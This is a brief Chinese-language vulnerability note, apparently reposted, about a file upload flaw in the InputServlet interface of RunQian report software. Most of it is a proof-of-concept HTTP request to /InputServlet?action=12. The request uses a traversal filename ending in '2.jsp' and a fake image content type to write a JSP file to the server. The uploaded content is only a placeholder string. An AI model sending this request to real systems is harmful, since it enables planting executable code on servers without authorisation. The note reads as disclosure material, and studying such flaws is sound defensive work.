润乾报表InputServlet接口存在文件上传漏洞
环境：https://github.com/charlesvhe/raqsoft
poc
POST /InputServlet?action=12 HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=--------------------------170005680039721412137562
Accept-Encoding: gzip, deflate, br
Content-Length: 2401
----------------------------170005680039721412137562
Content-Disposition: form-data; name="upsize"
1024
----------------------------170005680039721412137562
Content-Disposition: form-data; name="file"; filename="/\..\\..\2.jsp"
Content-Type: image/png
11111
----------------------------170005680039721412137562--
漏洞来源
闽公网安备35020302035932号